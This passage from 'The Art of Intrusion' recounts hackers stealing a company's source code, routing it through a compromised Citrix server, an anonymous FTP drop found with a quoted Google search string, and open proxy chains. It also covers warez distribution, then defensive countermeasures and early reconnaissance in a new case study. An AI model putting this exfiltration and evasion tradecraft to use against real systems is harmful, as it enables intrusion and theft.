on with the developer’s credentials. “Logged\non as him, I had full access to everything,” \n“Everything” is this case meaning, in particular, the source code of the\nproduct — “that’s the keys to the kingdom.” And he had it. “I wanted\nto steal the source. There was everything I wanted,” he recounts happily.\nSending the Code Home\nRobert had now seen the glow of the gold he had been seeking. But he\nstill had to find a way — a safe way — of getting it delivered to his\ndoorstep. “They were pretty hefty files,” he says. “I think the entire\nsource tree was around a gig, which would take me f___king weeks.” \nThe Art of Intrusion\n180\n"
        },
        {
            "page_number": 202,
            "text": "(At least it wasn’t nearly as bad as trying to download a huge com-\npressed file with a 14.4K baud modem, which is what I had done when\nI copied off hundreds of megabytes of VMS source code from Digital\nEquipment Corporation years earlier.)\nBecause the source code was so huge, he wanted a much faster connec-\ntion for sending it. And he wanted a delivery path that couldn’t easily be\ntraced back to him. The fast connection didn’t present much of a problem.\nHe had previously compromised another company in the United States that\nused Citrix MetaFrame, which was another sitting duck on the Internet.\nRobert established a VPN connection into the target company and\nmapped a drive to where the source code resided. He simply copied it off.\n“I used that Citrix server to VPN into [the software company’s] network\nagain, and then mapped to the share. And then I copied all the source\ncode, binaries, and other data to the expendable Citrix server.”\nTo find a route for delivering the files safely, untraceably (he hoped),\nhe used my own favorite search engine, Google, to locate an anonymous\nFTP server — which allows anyone to upload and download files to a\npublicly accessible directory. Moreover, he was looking for an anonymous\nFTP server that had directories also accessible via HTTP (using a Web\nbrowser.) He figured that by using an anonymous FTP server, his activ-\nity would be “buried in the noise” because many others would also be\nusing the server to trade porn, warez, music, and movies.\nThe search term he used in Google was the following:\nindex of parent incoming inurl:ftp\nThis searches for FTP servers set up to permit anonymous access. From\nthe servers identified by the Google search, he selected one that met his\ncriteria for HTTP downloads as mentioned previously, so he could down-\nload the code from his Web browser.\nWith the source files already transferred from the company to the com-\npromised Citrix server, he now transferred them again to the anonymous\nFTP server he had located from the Google search. \nNow there was only one final step remaining before he could, at long\nlast, have the precious source code in his possession: transferring from the\nFTP server to his own computer. But “at the end of the day, I don’t want\nto have my Internet address downloading all this source code, and espe-\ncially not for hours and hours, if you know what I mean.” So before\ntransferring the files to the FTP server, he zipped them into a smaller\npackage, giving it an innocuous name (“gift.zip, or something like that”). \nOnce again he used a chain of open proxy servers to bounce his con-\nnection in a way that makes it unlikely to be traced. Robert explains,\nChapter 8\nYour Intellectual Property Isn’t Safe\n181\n"
        },
        {
            "page_number": 203,
            "text": "“There’s like a hundred open Socks proxies in Taiwan alone. And you\nknow at any time maybe a hundred people will be using any one of these\nproxies.” So if they’ve enabled logging at all, that makes logs really quite\nbig, meaning that it’s highly unlikely the guys in suits are going to man-\nage to bloodhound you and come knocking at your door. “You’re like\nthe needle out of the haystack. It’s just too cumbersome.”\nFinally, after all his effort, the transmission was on its way.\nI couldn’t believe that code was downloading to me. It was a\nreally big thing.\nSHARING: A CRACKER’S WORLD\nWhat does a hacker like an Erik or a Robert do once they have the cov-\neted software in hand? For both of them, as for others for whom the term\n“cracker” or “software pirate” applies, the answer is that most of the\ntime, they share the software they have pirated with many, many others.\nBut they do the sharing indirectly.\nErik explained the steps he followed after nabbing the server software\nhe had spent two years thirsting after. The application had been written\nin a programming language he wasn’t proficient in, but Erik had a friend\nwho had been a programmer in the language, so he passed the source\ncode for generating the unlock or registration code to bypass the licens-\ning security checks. He added a Graphical User Interface (GUI) on top\nof the stolen key generator to disguise the origin of the code. \nI gave it to someone else who uploaded the software to one of the\ncore Warez sites, archived the whole thing into a package, put the\nkeygen in, and created information files [with] instructions on\nhow to install and crack the software. I didn’t post it myself.\nWhen ready to upload the program and keygen, they first checked to\nsee whether someone else might have cracked the same program already.\nBefore you post something, you want to make sure no one else has\ndone it first, so you do a “dupe check” to make sure it’s unique. \nThe dupe check is easy. The cracker simply goes to www.dupecheck.ru\n(the site is located in Russia2) and enters the name and version of the\nproduct. If it’s listed, that means someone else has already cracked it and\nposted it to one of the core Warez sites. \nThe Art of Intrusion\n182\n"
        },
        {
            "page_number": 204,
            "text": "But just because the software has been posted to the site doesn’t mean\njust anyone can download it. In fact, the site prominently announces\nWE ARE A CLOSED GROUP SO F__K OFF\n(The missing letters are, of course, supplied on the site.)\nOn the other hand, if it’s a current product and not yet listed, that\nmeans the cracker has scored a major coup. He can be the very first to\nupload the cracked version of the software. \nOnce a new package is uploaded, distribution begins swiftly, as Erik\ndescribed. \nThere’s probably like maybe 50 core Warez sites in the world, pri-\nvate FTP sites. You upload to one of these sites, and within maybe\nan hour it’s replicated from that site to thousands of other sites\naround the world, through couriers. \nMaybe 50 to 200 times a day — say probably 100, that’s a pretty\ngood average. One hundred programs a day are pirated this way. \nA “courier,” Erik explains, is a person who moves “the stuff” from one\ncracker site to another. Couriers are “the next level down the food chain”\nfrom the guys who crack the software. \nThe couriers are watching three or four different sites. As soon as\nsomeone uploads [a cracked application] to the Warez site, and\nthey spot it as something new, they download it and send it over\nto three or four other sites as fast as they can before anyone else. \nNow, at this point there’s maybe 20 sites that have it. Sometimes\nthis might be two or three months before [the new software] even\nhits the stores.\nThe next tier of couriers — guys who haven’t yet earned access to the\ncore Warez sites — spot the new item and go through the same process\nof downloading it and then uploading it as fast as they can to as many\nother sites as they can, to be the first one. “And it just filters down that\nway and like within an hour, it’s gone twice across the world.”\nSome people get access to Warez sites through credits, Erik explained.\nThe credits are a type of cracker currency earned by contributing to the\nmission of the sites, which is the distribution of cracked software. The\ncracker usually supplies both the program and a tool that will generate\nvalid license keys or some other kind of workaround. \nChapter 8\nYour Intellectual Property Isn’t Safe\n183\n"
        },
        {
            "page_number": 205,
            "text": "A cracker gets credits by being the first to upload the “crack” to a site\nthat doesn’t have it yet. Only the first person to upload a new application\nonto a particular site receives credit. \nSo they are very motivated to do it quickly. Therefore in no time,\nit’s seen everywhere. At that point people make copies of it on their\nown crack sites or newsgroups.\nThe people like me who crack this stuff get unlimited access\nalways — if you’re a cracker, they want you to keep contributing\nthe good stuff when you’re the first person who has it. \nSome sites have the full program and the keygen. “But a lot of the crack\nsites,” Erik explains, “don’t include the program, just the keygen. To\nmake [the files] smaller and to make it less likely that the Feds will shut\nthem down.”\nAll of these sites, not just the top-tier core Warez sites but those two or\nthree levels down, are “hard to get on. They’re all private” because if one\nof the site addresses became known, “the Feds wouldn’t just shut it down,\nthey’d shut it down, arrest the people, take all their computers, and arrest\nanyone who has ever been on that site” because these FTP sites are, after\nall, repositories of massive amounts of stolen intellectual property.\nI don’t even go to those sites anymore. I rarely go, because of the\nrisks involved. I’ll go there when I need some software, but I never\nupload stuff myself. \nIt’s actually really interesting because it’s extremely efficient. I\nmean what other business has a distribution system like that and\neveryone’s motivated because everyone wants something.\nAs a cracker, I get invitations to access all these sites because all\nthe sites want good crackers ’cause that’s how they get more couri-\ners. And the couriers want access to the good sites because that’s\nwhere they get the good stuff. \nMy group does not let new people in. Also, there’s certain things\nwe don’t release. Like one time we released Microsoft Office, one\nsummer, and it was just too risky. After that we decided to never\ndo really big names like that anymore. \nSome guys go firebrand, get really aggressive about it and will sell\nthe CDs. Especially when they start doing it for money, it draws\nmore attention. They’re the ones who usually get busted.\nNow, for this whole thing with software, the same process happens\nwith music and with movies. On some of the movie sites, you can\nThe Art of Intrusion\n184\n"
        },
        {
            "page_number": 206,
            "text": "get access to movies two or three weeks before they hit theaters some-\ntimes. That’s usually someone who works for a distributor or a\nduplicator. It’s always someone on the inside. \nINSIGHT\nThe lesson of the story about Erik’s quest for the one last server software\npackage to complete his collection: In nature there seems to be no such\nthing as perfection, and that’s even truer when humans are involved. His\ntarget company was very security-conscious and had done an excellent\njob at protecting its computer systems. Yet a hacker who is competent\nenough, determined enough, and willing to spend enough time is nearly\nimpossible to keep out. \nOh, sure, you’ll probably be lucky enough never to have someone as\ndetermined as Erik or Robert attack your systems, willing to spend a mas-\nsive amount of time and energy on the effort. But how about an\nunscrupulous competitor willing to hire a team of underground profes-\nsionals — a group of hacker mercenaries each willing to put in 12 or 14\nhours a day and loving their work?\nAnd if attackers do find a crack in the wall in your organization’s elec-\ntronic armor, what then? In Erik’s opinion, “When someone gets into\nyour network as far as I was into this network, [you] will never, ever, ever\nget him out. He’s in there forever.” He argues that it would take “a\nmajor overhaul of everything and changing every password on the same\nday, same time, reinstalling everything, and then securing everything at\nthe same time to lock him out.” And you have to do it all without miss-\ning one single thing. “Leave one door open and I’m going back in again\nin no time.” \nMy own experiences confirm this view. When I was in high school, I\nhacked into Digital Equipment Corporation’s Easynet. They knew they\nhad an intruder, but for eight years, the best minds in their security\ndepartment couldn’t keep me out. They finally got free of me — not\nthrough any efforts of their own but because the government had been\nkind enough to offer me a vacation package at one of their federal vaca-\ntion resorts. \nCOUNTERMEASURES\nAlthough these were very different attacks, it’s eye-opening to note how\nmany vulnerabilities were key to the success of both these hackers, and\nhence how many of the countermeasures apply to both the attacks.\nFollowing are the main lessons from these stories.\nChapter 8\nYour Intellectual Property Isn’t Safe\n185\n"
        },
        {
            "page_number": 207,
            "text": "Corporate Firewalls\nFirewalls should be configured to allow access only to essential services,\nas required by business needs. A careful review should be done to ensure\nthat no services are accessible except those actually needed for business.\nAdditionally, consider using a “stateful inspection firewall.” This type of\nfirewall provides better security by keeping track of packets over a period\nof time. Incoming packets are only permitted in response to an outgoing\nconnection. In other words, the firewall opens up its gates for particular\nports based on the outgoing traffic. And, as well, implement a rule set to\ncontrol outgoing network connections. The firewall administrator should\nperiodically review the firewall configuration and logs to ensure that no\nunauthorized changes have been made. If any hacker compromises the\nfirewall itself, it’s highly likely the hacker will make some subtle changes\nthat provide an advantage.\nAlso, if appropriate, consider controlling access to the VPN based on\nthe client’s IP address. This would be applicable where a limited number\nof personnel connect to the corporate network using VPN. In addition,\nconsider implementing a more secure form of VPN authentication, such\nas smart cards or client-side certificates rather than a static shared secret.\nPersonal Firewalls\nErik broke into the CEO’s computer and discovered that it had a per-\nsonal firewall running. He was not stopped, since he exploited a service\nthat was permitted by the firewall. He was able to send commands\nthrough a stored procedure enabled by default in Microsoft SQL server.\nThis is another example of exploiting a service that the firewall did not\nprotect. The victim in this case never bothered to examine his volumi-\nnous firewall logs, which contained more than 500K of logged activity.\nThis is not the exception. Many organizations deploy intrusion preven-\ntion-and-detection technologies and expect the technology to manage\nitself, right out of the box. As illustrated, this negligent behavior allows\nan attack to continue unabated.  \nThe lesson is clear: Carefully construct the firewall rule set to filter both\nincoming and outgoing traffic on services that are not essential to busi-\nness needs, but also periodically review both the firewall rules and the\nlogs to detect unauthorized changes or attempted security breaches. \nOnce a hacker breaks in, he’ll likely hijack a dormant system or user\naccount so he can get back in at a future time. Another tactic is to add\nprivileges or groups to existing accounts that have already been cracked.\nPerforming periodic auditing of user accounts, groups, and file permis-\nsions is one way to identify possible intrusions or unauthorized insider\nactivity. A number of commercial and public domain security tools are\nThe Art of Intrusion\n186\n"
        },
        {
            "page_number": 208,
            "text": "available that automate part of this process. Since hackers know this as\nwell, it’s also important to periodically verify the integrity of any security-\nrelated tools, scripts, and any source data that is used in conjunction.\nMany intrusions are the direct result of incorrect system configurations,\nsuch as excessive open ports, weak file permissions, and misconfigured\nWeb servers. Once an attacker compromises a system at a user level, the\nnext step in the attack is elevating the privileges by exploiting unknown\nor unpatched vulnerabilities, and poorly configured permissions. Don’t\nforget, many attackers follow a series of many small steps en route to a\nfull system compromise.\nDatabase administrators supporting Microsoft SQL Server should con-\nsider disabling certain stored procedures (such as xp_cmdshell,\nxp_makewebtask, and xp_regread) that can be used to gain further system\naccess. \nPort Scanning\nAs you read this, your Internet-connected computer is probably being\nscanned by some computer geek looking for the “low-hanging fruit.”\nSince port scanning is legal in the United States (and most other coun-\ntries), your recourse against the attacker is somewhat limited. The most\nimportant factor is distinguishing the serious threats from the thousands\nof script kiddies probing your network address space. \nThere are several products, including firewalls and intrusion detection\nsystems, that identify certain types of port scanning and can alert the\nappropriate personnel about the activity. You can configure most firewalls\nto identify port scanning and throttle the connection accordingly. Several\ncommercial firewall products have configuration options to prevent fast\nport scanning. There are also “open source” tools that can identify port\nscans and drop the packets for a certain period of time.\nKnow Your System\nA number of system-management tasks should be performed to do the\nfollowing:\n●\nInspect the process list for any unusual or unknown processes.\n●\nExamine the list of scheduled programs for any unauthorized\nadditions or changes.\n●\nExamine the file system, looking for new or modified system\nbinaries, scripts, or applications programs.\n●\nResearch any unusual reduction in free disk space.\nChapter 8\nYour Intellectual Property Isn’t Safe\n187\n"
        },
        {
            "page_number": 209,
            "text": "●\nVerify that all system or user accounts are currently active, and\nremove dormant or unknown accounts.\n●\nVerify that special accounts installed by default are configured\nto deny interactive or network logins.\n●\nVerify that system directories and files have proper file access\npermissions.\n●\nCheck the system logs for any strange activity (such as remote\naccess from unknown origins, or at unusual times during the\nnight or weekend).\n●\nAudit the Web server logs to identify any requests that access\nunauthorized files. Attackers, as illustrated in this chapter, will\ncopy files to a Web server directory and download the file via\nthe Web (HTTP). \n●\nWith Web server environments that deploy FrontPage or\nWebDav, ensure that proper permissions are set to prevent\nunauthorized users from accessing files.\nIncident Response and Alerting\nKnowing when a security incident is in progress can help with damage\ncontrol. Enable operating system auditing to identify potential security\nbreaches. Deploy an automated system to alert the system administrator\nwhen certain types of audit events occur. However, note that if an\nattacker obtains sufficient privileges and becomes aware of the auditing,\nthis automated alerting system can be circumvented.\nDetecting Authorized Changes in Applications\nRobert was able to replace the helpdesk.exe application by exploiting a\nmisconfiguration with FrontPage authoring. After he accomplished his\ngoal of obtaining the source code to the company’s flagship product, he\nleft his “hacked” version of the helpdesk application so he could return\nat a later date. An overworked system administrator may never realize\nthat a hacker covertly modified an existing program, especially if no\nintegrity checks are made. An alternative to manual checks is to license a\nprogram like Tripwire3 that automates the process of detecting unautho-\nrized changes.\nPermissions\nErik was able to obtain confidential database passwords by viewing files\nin the /includes directory. Without these initial passwords, he might have\nbeen hindered in accomplishing his mission. Having exposed sensitive\nThe Art of Intrusion\n188\n"
        },
        {
            "page_number": 210,
            "text": "database passwords in a world-readable source file was all he needed to\nget in. The best security practice is to avoid storing any plaintext pass-\nwords in batch, source, or script files. An enterprise-wide policy should\nbe adopted that prohibits storing plaintext passwords unless absolutely\nnecessary. At the very least, files containing unencrypted passwords must\nbe carefully protected to prevent accidental disclosure. \nAt the company that Robert was attacking, the Microsoft IIS4 server\nhad not been configured properly to prevent anonymous or guest users\nfrom reading and writing files to the Web server directory. The external\npassword file used in conjunction with Microsoft Visual SourceSafe was\nreadable by any user logged in to the system. Because of these miscon-\nfigurations, the attacker was able to gain full control of the target’s\nWindows domain. Deploying systems with an organized directory struc-\nture for applications and data will likely increase the effectiveness of\naccess controls.\nPasswords\nIn addition to the other common password management suggestions\ndescribed throughout this book, the success of the attackers in this chap-\nter highlights some additional important points. Erik commented that he\nwas able to predict how other company passwords would be constructed\nbased on the passwords he had been able to crack. If your company is\nusing some standardized, predictable method that employees are\nrequired to follow in constructing passwords, it should be clear that\nyou’re extending an open-door invitation to hackers. \nOnce an attacker obtains privileged access to a system, obtaining pass-\nwords of other users or databases is a high priority. Such tactics as search-\ning through email or the entire file system looking for plaintext\npasswords in email, scripts, batch files, source code includes, and spread-\nsheets is quite common. \nOrganizations that use the Windows operating system should consider\nconfiguring the operating system so that LAN Manager password hashes are\nnot stored in the registry. If an attacker obtains administrative access rights,\nhe can extract the password hashes and attempt to crack them. IT person-\nnel can easily configure the system so the old-style hashes are not stored,\nsubstantially increasing the difficulty of cracking the passwords. However,\nonce an attacker “owns” your box, he or she can sniff network traffic, or\ninstall a third-party password add-on to obtain account passwords.\nAn alternative to turning off LAN Manager password hashes is to con-\nstruct passwords with a character set not available on the keyboard by\nusing the <Alt> key and the numeric identifier of the character, as\ndescribed in Chapter 6. The widely used password-cracking programs do\nChapter 8\nYour Intellectual Property Isn’t Safe\n189\n"
        },
        {
            "page_number": 211,
            "text": "not attempt to crack passwords using such characters from the Greek,\nHebrew, Latin, and Arabic alphabets.\nThird-Party Applications\nUsing custom-built Web scanning tools, Erik discovered an unprotected\nlog file generated by a commercial FTP product. The log contained the\nfull path information for files that were transferred to and from the sys-\ntem. Don’t rely on default configurations when installing third-party\nsoftware. Implement the configuration least likely to leak valuable infor-\nmation, such as log data that can be used to further attack the network.\nProtecting Shares\nDeploying network shares is a common method of sharing files and direc-\ntories in a corporate network. IT staff may decide not to assign passwords\nor access control to network shares because the shares are only accessible\non the internal network. As mentioned throughout this book, numerous\norganizations focus their efforts on maintaining good perimeter security,\nbut fall short when securing the internal side of the network. Like\nRobert, attackers who get into your network will search for shares with\nnames that promise valuable, sensitive information. Descriptive names\nsuch as “research” or “backup” just make an attacker’s job significantly\neasier. The best practice is to adequately protect all network shares that\ncontain sensitive information. \nPreventing DNS Guessing\nRobert used a DNS guesser program to identify possible hostnames\nwithin a publicly accessible zone file of the domain. You can prevent dis-\nclosing internal hostnames by implementing what is known as a split-\nhorizon DNS, which has both an external and an internal name server.\nOnly publicly accessible hosts are referenced in the zone file of the exter-\nnal name server. The internal name server, much better protected from\nattack, is used to resolve internal DNS queries for the corporate network. \nProtecting Microsoft SQL Servers\nErik found a backup mail and Web server running Microsoft SQL Server\non which the account name and password were the same as the one iden-\ntified in the source code “include” files. The SQL server should not have\nbeen exposed to the Internet without a legitimate business need. Even\nthough the “SA” account was renamed, the attacker identified the new\naccount name and password in an unprotected source code file. The best\nThe Art of Intrusion\n190\n"
        },
        {
            "page_number": 212,
            "text": "practice is to filter port 1433 (Microsoft SQL Server) unless it is absolutely\nrequired. \nProtecting Sensitive Files\nThe attacks in the main stories of this chapter succeeded in the end\nbecause the source code was stored on servers that were not adequately\nsecured. In highly sensitive environments such as a company’s R&D or\ndevelopment group, another layer of security could be provided through\nthe deployment of encryption technologies. \nAnother method for a single developer (but probably not practical in a\nteam environment, where a number of people require access to the\nsource code of the product in development) would be to encrypt\nextremely sensitive data such as source code with products such as PGP\nDisk or PGP Corporate Disk. These products create virtual encrypted\ndisks, yet function in a way that makes the process transparent to the user.\nProtecting Backups\nAs made clear in these stories, it’s easy for employees — even those who\nare especially conscientious about security matters — to overlook the\nneed to properly secure backup files, including email backup files, from\nbeing read by unauthorized personnel. During my own former hacking\ncareer, I found that many system administrators would leave compressed\narchives of sensitive directories unprotected. And while working in the IT\ndepartment of a major hospital, I noted that the payroll database was\nroutinely backed up and then left without any file protection — so any\nknowledgeable staff member could access it.\nRobert took advantage of another aspect of this common oversight\nwhen he found backups of the source code to the commercial mailing list\napplication left in a publicly accessible directory on the Web server. \nProtecting against MS SQL Injection Attacks\nRobert purposefully removed the input validation checks from the Web-\nbased application, which were designed to prevent a SQL injection\nattack. The following basic steps may prevent your organization from\nbeing victimized using the same kind of attack Robert was able to use: \n●\nNever run a Microsoft SQL server under the system context.\nConsider running the SQL server service under a different\naccount context.\nChapter 8\nYour Intellectual Property Isn’t Safe\n191\n"
        },
        {
            "page_number": 213,
            "text": "●\nWhen developing programs, write code that does not gener-\nate dynamic SQL queries.\n●\nUse stored procedures to execute SQL queries. Set up an\naccount that is used only to execute the stored procedures,\nand set up the necessary permissions on the account just to\nperform the needed tasks. \nUsing Microsoft VPN Services\nAs a means of authentication, Microsoft VPN uses Windows\nAuthentication, making it easier for an attacker to exploit poor passwords\nfor gaining access to the VPN. It may be appropriate in certain environ-\nments to require smart card authentication for VPN access — another\nplace where a stronger form of authentication other than a shared secret\nwill raise the bar a few notches. Also, in some cases, it may be appropri-\nate to control access to the VPN based on the client’s IP address.\nIn Robert’s attack, the system administrator should have been moni-\ntoring the VPN server for any new users added to the VPN group. Other\nmeasures, also mentioned previously, include removing dormant\naccounts from the system, ensuring that a process is in place to remove\nor disable accounts of departing employees, and, where practical, restrict-\ning VPN and dial-up access by day of the week and time of day.\nRemoving Installation Files\nRobert was able to obtain the mailing lists he was after not by exploiting\nthe mailing list application itself but by taking advantage of vulnerability\nin the application’s default installation script. Once an application has\nbeen successfully installed, installation scripts should be removed.\nRenaming Administrator Accounts\nAnyone with an Internet connection can simply Google for “default\npassword list” to find sites that list accounts and passwords in the \ndefault state as shipped by the manufacturer. Accordingly, it’s a good \nidea to rename the guest and administrator accounts when possible. This\nhas no value, however, when the account name and password are \nstored in the clear, as was the case with the company described in the \nErik attack.4\nHardening Windows to Prevent Storing Certain Credentials\nThe default configuration of Windows automatically caches password\nhashes and stores the plaintext passwords used for dial-up networking.\nThe Art of Intrusion\n192\n"
        },
        {
            "page_number": 214,
            "text": "After obtaining enough privileges, an attacker will attempt to extract as\nmuch information as possible, including any passwords that are stored in\nthe registry or in other areas of the system. \nA trusted insider can potentially compromise an entire domain by using\na little social engineering when his workstation is caching passwords\nlocally. Our disgruntled insider calls technical support, complaining that\nhe cannot log in to his workstation. He wants a technician to come assist\nimmediately. The technician shows up, logs in to the system using her\ncredentials and fixes the “problem.” Soon thereafter, the insider extracts\nthe password hash of the technician and cracks it, giving the employee\naccess to the same domain administrator rights as the technician. (These\ncached hashes are double-hashed, so it requires another program to\nunravel and crack these types of hashes.)\nA number of programs, such as Internet Explorer and Outlook, cache\npasswords in the registry. To learn more about disabling this functional-\nity, use Google to search for “disable password caching.”\nDefense in Depth\nThe stories in this chapter demonstrate, even more vividly than others in\nthe book, that guarding the electronic perimeter of your company’s net-\nworks is not enough. In today’s environment, the perimeter is dissolving\nas businesses invite users into their network. As such, the firewall is not\ngoing to stop every attack. The hacker is going to look for the crack in\nthe wall, by attempting to exploit a service that is permitted by the fire-\nwall rules. One mitigation strategy is to place any publicly accessible sys-\ntems on their own network segment and carefully filter traffic into more\nsensitive network segments. \nFor example, if a backend SQL server is on the corporate network, a\nsecondary firewall can be set up that only permits connections to the port\nrunning the service. Setting up internal firewalls to protect sensitive\ninformation assets may be something of a nuisance but should be con-\nsidered an essential if you truly want to protect your data from malicious\ninsiders and external intruders who manage to breach the perimeter.\nTHE BOTTOM LINE\nDetermined intruders will stop at nothing to attain their goals. A patient\nintruder will case the target network, taking notice of all the accessible\nsystems and the respective services that are publicly exposed. The hacker\nmay lie in wait for weeks, months, or even years to find and exploit a new\nvulnerability that has not been addressed. During my former hacking\ncareer, I’d personally spend hours upon hours of time to compromise\nChapter 8\nYour Intellectual Property Isn’t Safe\n193\n"
        },
        {
            "page_number": 215,
            "text": "systems. My persistence paid off, since I always managed to find that\ncrack in the wall. \nThe hacker Erik put forth the same persistence and determination in his\nefforts to obtain the highly prized source code over a two-year period.\nAnd Robert, as well, undertook a complex, intricate series of steps both\nin his single-minded efforts to steal millions of email addresses to sell to\nspammers and in his effort, like Erik, to obtain source code that he had\ntargeted. \nYou understand that these two hackers are by no means alone. Their\ndegree of persistence is not uncommon in the hacker community. The\npeople responsible for securing an organization’s infrastructure must\nunderstand what they could be up against. A hacker has unlimited time\nto find just one hole, while overworked system and network administra-\ntors have very limited time to focus on the specific task of shoring up the\norganization’s defenses. \nAs Sun Tzu wrote so eloquently in The Art of War (Oxford University\nPress, 1963): “Know thyself and know thy enemy; in a hundred battles\nyou will never be in peril. When you are ignorant of the enemy, but know\nthyself, your chances of winning or losing is equal . . .” The message is\nclear: Your adversaries will spend whatever time it takes to get what they\nwant. Accordingly, you should conduct a risk assessment to identify the\nlikely threats against your organization, and these threats should be taken\ninto account while you are developing a security strategy. Being well pre-\npared, and exercising a “standard of due care” by drafting, implement-\ning, and enforcing information security policies, will go a long way to\nkeeping the attackers at bay. \nIf the truth be known, any adversary with enough resources can even-\ntually get in, but your goal should be making that so difficult and chal-\nlenging that it’s not worth the time. \nNOTES\n1. Interested in viewing your own LSA secrets and protected storage areas? All you need is a nifty\ntool called Cain & Abel, available from www.oxid.it.\n2. This site is no longer accessible, but others have taken its place.\n3. More information on Tripwire is available at www.tripwire.com.\n4. One popular site hackers use to check for locations with default passwords is www.phenoelit.de/\ndpl/dpl.html. If your company is listed there, take heed.\nThe Art of Intrusion\n194\n"
        },
        {
            "page_number": 216,
            "text": "195\nChapter 9\nOn the Continent\nYou see little pieces of information, and the way things are phrased, and\nyou start to get a little bit of an insight of the company and the people that\nare responsible for the IT systems. And there was kind of this feeling that\nthey knew about security but that maybe they’re doing something a little \nbit wrong.\n— Louis\nA\nt the beginning of Chapter 8, we cautioned that the nontech-\nnical readers would find parts difficult to follow. That’s even\nmore true in the following. Still, it would be a shame to skip\nthe chapter, since this story is in many ways fascinating. And the gist can\nreadily be followed by skipping over the technical details.\nThis is a story about like-minded individuals working for a company\nthat was hired to hack a target and not get caught.\nSomewhere in London\nThe setting is in “the City,” in the heart of London. \nPicture “an open-plan kind of windowless room in the back of a build-\ning, with a bunch of techie guys banding together.” Think of “hackers\naway from society, not being influenced by the outside world” each\nworking feverishly at his own desk, but with a good deal of banter going\non between them. \nSitting in this anonymous room among the others is a guy we’ll call\nLouis. He grew up in a small, insular city in the north of England, began\n"
        },
        {
            "page_number": 217,
            "text": "fiddling with computers about the age of seven when his parents bought\nan old computer so the children could start learning about technology.\nHe started hacking as a schoolkid when he stumbled on a printout of staff\nusernames and passwords and found his curiosity stirred. His hacking\nlanded him in trouble early, when an older student (a “prefect,” in British\nterminology) turned Louis in. But getting caught didn’t deter him from\nlearning the secrets of computers.\nNow grown tall, with dark hair, Louis no longer finds much time for\nthe “very English sports” — cricket and soccer — that he cared so much\nabout as a schoolboy.\nDiving In\nSome time back, Louis and his buddy Brock, pounding away at a nearby\ncomputer, took on a project together. Their target was a company based\nin a country in Europe — essentially a security company, dropping off\nlarge sums of money as well as ferrying prisoners between jail and court,\nand from one prison to another. (The idea of one company doing both\nthe Brinks-type job of moving cash around and also shuttling prisoners is\nan eye-opener to Americans, but an arrangement that the British and\nEuropeans take for granted.)\nAny company that describes itself using the word “security” must seem\nlike a particularly hot challenge. If they’re involved with security, does\nthat mean they’re so security-conscious that there would be no way to\nbreak in? To any group of guys with a hacker mentality, it must seem like\nan irresistible challenge, especially when, as here, the guys had nothing to\nstart out with beyond the name of their target company. \n“We treated it as a problem to be solved. So, the first thing we did was\nto find out as much information about this company as we could,” Louis\nsays. They began by googling the company, even using Google to trans-\nlate, since none of the group spoke the language of the country.\nThe automated translations were close enough to give them a feel for\nwhat the business was all about and how big it was. Though they aren’t\nvery comfortable with social engineering attacks, that possibility was\nruled out anyway because of the language barrier. \nThey were able to map what IP address ranges were publicly assigned to\nthe organization from the IP addresses of the company’s Web site and its\nmail server, as well as from the European IP address registry, Reseaux IP\nEuropeens (RIPE), which is similar to American Registry of Internet\nNumbers (ARIN) in the United States. (ARIN is the organization that\nmanages IP address numbers for the United States and assigned territories.\nThe Art of Intrusion\n196\n"
        },
        {
            "page_number": 218,
            "text": "Because Internet addresses must be unique, there is a need for some organ-\nization to control and allocate IP address number blocks. The RIPE organ-\nization manages IP address numbers for European territories.)\nThe main Web site, they learned, was external, with a third-party host-\ning company. But the IP address of their mail server was registered to the\ncompany itself and was located within their corporate address range. So,\nthe guys could query the company’s authoritative Domain Name Service\n(DNS) server to obtain the IP addresses by examining the mail exchange\nrecords. \nLouis tried the technique of sending an e-mail to a nonexistent address.\nThe bounce-back message would advise him that his e-mail could not be\ndelivered and would show header information that revealed some internal\nIP addresses of the company, as well as some email routing information.\nIn this case, though, what Louis got was a “bounce” off of their external\nmailbox; his e-mail had only gotten to the external mail server, so the\n“undeliverable” reply provided no useful information.\nBrock and Louis knew it would make life easier if the company was\nhosting its own DNS. In that case they would try to make inquiries to\nobtain more information about the company’s internal network, or take\nadvantage of any vulnerability associated with their version of DNS. The\nnews was not good: Their DNS was elsewhere, presumably located at\ntheir ISP (or, to use the British terminology, their “telecoms”).\nMapping the Network\nAs their next step, Louis and Brock used a reverse DNS scan to obtain\nthe hostnames of the various systems located within the IP address range\nof the company (as explained in Chapter 4, “Cops and Robbers,” and\nelsewhere). To do this, Louis used “just a simple PERL script” the guys\nhad written. (More commonly, attackers use available software or Web\nsites for reverse DNS lookups, such as www.samspade.org.)\nThey noticed that “there were quite informative names coming back\nfrom some of the systems,” which was a clue to what function those sys-\ntems had within the company. This also provided insight into the mindset\nof the company’s IT people. “It just looked like the administrators had not\ngot full control over the information that is available about their network,\nand that’s the first stage of intuition about whether you’re going to be able\nto get access or not.” Brock and Louis thought the signs looked favorable. \nThis is an example of trying to psychoanalyze the administrators, try-\ning to get into their heads about how they would architect the network.\nFor this particular attacker, “it was based in part on the knowledge of the\nChapter 9\nOn the Continent\n197\n"
        },
        {
            "page_number": 219,
            "text": "networks and companies that we had seen in the particular European\ncountry and the level of IT knowledge and the fact that the people in this\ncountry were maybe a year and a half to two years behind the UK.”\nIdentifying a Router\nThey analyzed the network using the Unix flavor of “traceroute,” which\nprovides a count of the number of routers a data packet passes through\nto reach a specified destination; in the jargon, this is referred to as the\nnumber of “hops.” They ran traceroute to the mail server and to the bor-\nder firewall. Traceroute reported that the mail server was one hop behind\nthe firewall. \nThis information gave them a clue that the mail server was either on the\nDMZ, or all the systems behind the firewall were on the same network.\n(The DMZ is a so-called demilitarized zone — an electronic no-man’s-land\nnetwork that sits between two firewalls and that is ordinarily accessible\nfrom both the internal network and the Internet. The purpose of the DMZ\nis to protect the internal network in case any of the systems exposed to the\nInternet are compromised.)\nThey knew the mail server had port 25 open, and by doing a trace-\nroute, they also knew they could actually penetrate the firewall to com-\nmunicate with the mail server. “We saw that that path actually took us\nthrough this router device, and then through the next hop that seemed\nto disappear, which was actually the firewall and then one hop behind\nthat we saw the mail server, so we had a rudimentary idea about how the\nnetwork was architected.” \nLouis said they often begin by trying a few common ports that they\nknow are likely to be left open by firewalls, and he named a few services\nlike port 53 (used by the DNS); port 25 (the SMTP mail server); port 21\n(FTP); port 23 (telnet); port 80 (HTTP); port 139 and 445 (both used\nfor NetBIOS, on different versions of Windows). \nBefore we conducted intrusive port scans, we were very keen to\nmake sure we had an effective target list that didn’t include IP\naddresses for systems that were not being used. In the initial\nstages, you’ve got to have target lists without just 